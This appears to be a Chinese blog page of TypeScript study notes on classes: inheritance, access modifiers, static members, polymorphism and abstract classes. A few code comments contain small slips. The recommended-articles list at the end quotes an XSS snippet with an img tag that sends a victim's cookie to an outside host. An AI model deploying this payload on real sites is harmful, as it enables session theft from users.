中文网:https://www.tslang.cn/

官网:http://www.typescriptlang.org/

目录:

类的定义

  • ES5 中定义:
function Person (name) {
this.name=name;
this.run = function () {
console.log(this.name)
}
} var p = new Person('张三');
p.run();
  • ts 中定义:

    使用class关键词。
class Person {
name:string; // 属性,前面省略了 public 关键词 constructor (name:string) { // 构造函数,实例化类的时候触发的方法
this.name = name;
} run ():void {
console.log(`${this.name}在运动`);
} getName ():string {
return this.name;
} setName (name:string):void {
this.name = name;
}
}
let p = new Person('李四');
p.run();
p.setName('王五');
console.log(p.getName());

继承

使用关键词extendssuper

// 父类
class Person {
name:string; // 属性,前面省略了 public 关键词 constructor (name:string) { // 构造函数,实例化类的时候触发的方法
this.name = name;
} run ():void {
console.log(`${this.name}在运动`);
}
}
let p = new Person('李四');
p.run(); // 李四在运动 // 子类继承父类
class Child extends Person {
constructor (name:string) {
super(name); // 初始化父类的构造函数
}
}
let c = new Child('周六');
c.run(); // 周六在运动

父类的方法和子类的方法一致,子类会执行子类自己的方法

// 父类
class Person {
name:string; // 属性,前面省略了 public 关键词 constructor (name:string) { // 构造函数,实例化类的时候触发的方法
this.name = name;
} run ():void {
console.log(`${this.name}在运动`);
}
}
let p = new Person('李四');
p.run(); // 李四在运动 // 子类继承父类
class Child extends Person {
constructor (name:string) {
super(name); // 初始化父类的构造函数
} run ():void {
console.log(`${this.name}在运动--子类`);
} work ():void {
console.log(`${this.name}工作--子类`);
}
}
let c = new Child('周六');
c.run(); // 周六在运动--子类
c.work(); // 周六在工作--子类

类里面的修饰符

Typescript 里面定义属性的时候给我们提供了三种修饰符:

  • public:公有,在当前类里面、子类、类外面都可以访问

  • protected:保护类型,在当前类里面、子类里面可以访问,在类外部没法访问

  • private:私有,在当前类里面可以访问,子类、类外部都没法访问

    属性如果不加修饰符,默认就是公有(public)

  • public:公有,在当前类里面、子类、类外面都可以访问

class Person {
public name:string; // 公有 constructor (name:string) {
this.name = name;
} run ():void {
console.log(`${this.name}在运动`); // 在类里能访问
}
}
let p = new Person('李四');
p.run();
console.log(p.name); // 在类外面能访问 class Child extends Person {
constructor (name:string) {
super(name);
} run ():void {
console.log(`${this.name}在运动--子类`); // 子类能访问
}
}
let c = new Child('周六');
c.run(); // 周六在运动--子类
console.log(c.name); // 在类外面能访问
  • protected:保护类型,在当前类里面、子类里面可以访问,在类外部没法访问
class Person {
protected name:string; // 保护 constructor (name:string) {
this.name = name;
} run ():void {
console.log(`${this.name}在运动`); // 在类里能访问
}
}
let p = new Person('李四');
p.run();
// console.log(p.name); // 报错,在类外面不能访问 class Child extends Person {
constructor (name:string) {
super(name);
} run ():void {
console.log(`${this.name}在运动--子类`); // 子类能访问
}
}
let c = new Child('周六');
c.run(); // 周六在运动--子类
// console.log(c.name); // 报错,在类外面能访问
  • private:私有,在当前类里面可以访问,子类、类外部都没法访问
class Person {
private name:string; // 私有 constructor (name:string) {
this.name = name;
} run ():void {
console.log(`${this.name}在运动`); // 在类里能访问
}
}
let p = new Person('李四');
p.run();
// console.log(p.name); // 报错,在类外面不能访问 class Child extends Person {
constructor (name:string) {
super(name);
} run ():void {
// console.log(`${this.name}在运动--子类`); // 报错,子类能访问
}
}
let c = new Child('周六');
c.run(); // 周六在运动--子类
// console.log(c.name); // 报错,在类外面能访问

静态属性 静态方法

  • ES5
function Person (name) {
this.name = name;
}
Person.age = 24; // 静态属性
Person.run = function () { // 静态方法
console.log(Person.age);
}
Person.run(); // 静态方法的调用
  • jquery
$('#box').css('color', 'red'); // 实例方法
$.get('url', function () { // 静态方法 }) $(element) { // 实例
return new Base(element);
}
$.get = function (url, callback) { // 静态方法 }
function Base (element) {
this.element = element;
this.css = function (attr, value) {
this.element.style[attr] = value;
}
}
  • ts
class Person {
public name:string; // 公有
public age:number = 25; static sex:string = 'man'; // 静态属性 constructor (name:string) {
this.name = name;
} public run ():void { // 公有方法
console.log(`${this.name}在运动`); // 在类里能访问
} // 静态方法
static print ():void {
console.log(`静态方法,性别:${Person.sex}`);
}
}
// 静态属性和方法的调用
console.log(Person.sex);
Person.print(); // 静态方法,性别:man

多态

多态:父类定义一个方法不去实现,让继承它的子类去实现,每一个子类有不同的表现。

多态属于继承。

class Animal {
name:string; constructor (name:string) {
this.name = name;
} eat () { // 具体吃什么,不知道。具体吃什么,由继承它的子类去实现,每一个子类的表现不一样
console.log('吃的方法');
}
} class Dog extends Animal {
constructor (name:string) {
super(name);
} eat () { // 子类实现父类的 eat 方法
console.log(`${this.name}喜欢吃骨头`);
}
} class Cat extends Animal {
constructor (name:string) {
super(name);
} eat () { // 子类实现父类的 eat 方法
console.log(`${this.name}喜欢吃老鼠`);
}
}

抽象类

  • Typescript 中的抽象类:它是提供其他类继承的基类,不能直接被实例化。
  • abstract关键字定义抽象类和抽象方法,抽象类中的抽象方法不包含具体实现并且必须在派生类(子类)中实现。
  • abstract 抽象方法只能放在抽象类里面。
  • 抽象类和抽象方法用来定义标准。比如:标准:Animal 这个类要求它的子类必须包含eat 方法。
// 抽象类,标准
abstract class Animal {
name:string; constructor (name:string) {
this.name = name;
} abstract eat ():any; // 抽象方法不包含具体实现并且必须在派生类中实现。
}
// let animal = new Animal(); // 错误,抽奖类不能被实例化 class Dog extends Animal {
constructor (name:string) {
super(name);
} eat () { // 抽象类的子类必须实现抽象类里面的抽象方法
console.log(`${this.name}喜欢吃骨头`);
}
}
let dog = new Dog('小黑');
dog.eat();

Typescript 学习笔记五:类的更多相关文章

  1. Typescript 学习笔记四:回忆ES5 中的类

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  2. Typescript 学习笔记七:泛型

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  3. Typescript 学习笔记六:接口

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  4. Typescript 学习笔记二:数据类型

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  5. Typescript 学习笔记三:函数

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  6. Typescript 学习笔记一:介绍、安装、编译

    前言 整理了一下 Typescript 的学习笔记,方便后期遗忘某个知识点的时候,快速回忆. 为了避免凌乱,用 gitbook 结合 marketdown 整理的. github地址是:ts-gitb ...

  7. (转)Qt Model/View 学习笔记 (五)——View 类

    Qt Model/View 学习笔记 (五) View 类 概念 在model/view架构中,view从model中获得数据项然后显示给用户.数据显示的方式不必与model提供的表示方式相同,可以与 ...

  8. C#可扩展编程之MEF学习笔记(五):MEF高级进阶

    好久没有写博客了,今天抽空继续写MEF系列的文章.有园友提出这种系列的文章要做个目录,看起来方便,所以就抽空做了一个,放到每篇文章的最后. 前面四篇讲了MEF的基础知识,学完了前四篇,MEF中比较常用 ...

  9. java之jvm学习笔记五(实践写自己的类装载器)

    java之jvm学习笔记五(实践写自己的类装载器) 课程源码:http://download.csdn.net/detail/yfqnihao/4866501 前面第三和第四节我们一直在强调一句话,类 ...

随机推荐

  1. django中执行py报错Requested setting DEFAULT_INDEX_TABLESPACE, but settings are not configured

    https://blog.csdn.net/heybob/article/details/49684261 django代码下面直接run的时候报错: django.core.exceptions.I ...

  2. (转)Word插入图片显示不全怎么办

    https://jingyan.baidu.com/article/e73e26c0c0081c24adb6a73d.html 现在告诉大家解决办法. 方法一: A.单击选中图片,然后在“开始”选项卡 ...

  3. linux下redis4.0.2集群部署(利用原生命令)

    一.部署架构如下 每台服务器准备2个节点,一主一从,主节点为另外两台其中一台的主,从节点为另外两台其中一台的从. 二.准备6个节点配置文件 在172.28.18.75上操作 cd /etc/redis ...

  4. poj3273(二分)

    题目链接:https://vjudge.net/problem/POJ-3273 题意:给定n个数,将这n个数划分成m块,问所有块最大值的最小是多少. 思路:注意到所求值最大为109,所以可以用二分来 ...

  5. Easyui datagrid 绑定本地Json数据

    var jsonstr = '{"total":1,"rows":[{"id":"M000005","name ...

  6. python note 07 集合

    1.删除特例 lis = [11,22,33,44,55] for i in range(len(lis)): print(i) del lis[i] print(lis) #每删除链表中一个值链表就 ...

  7. LinkedList 源码实现

    闲暇之余,准备将Java 一些常用的数据结构进行重新的剖析,并记录博客比如LinkedList ,HashMap ,HashTable ,以及并发包所引入的集合,在博客中会陆续更新 start 哈哈, ...

  8. 6L - 大菲波数

    Fibonacci数列,定义如下: f(1)=f(2)=1 f(n)=f(n-1)+f(n-2) n>=3. 计算第n项Fibonacci数值.  Input 输入第一行为一个整数N,接下来N行 ...

  9. 探索未知种族之osg类生物---呼吸分解之更新循环三

    补充 当然细心的你会发现,_scene->updateSceneGraph(*_updateVisitor)中还有一个imagePager::UpdateSceneGraph()还没有进行讲解, ...

  10. CSP里的xss

    无CSP保护下的xss 1.直接嵌入型 <img src="192.168.81.137:80/xss.php?a=[cookie]"> 过滤较少时,优先考虑.触发方式 ...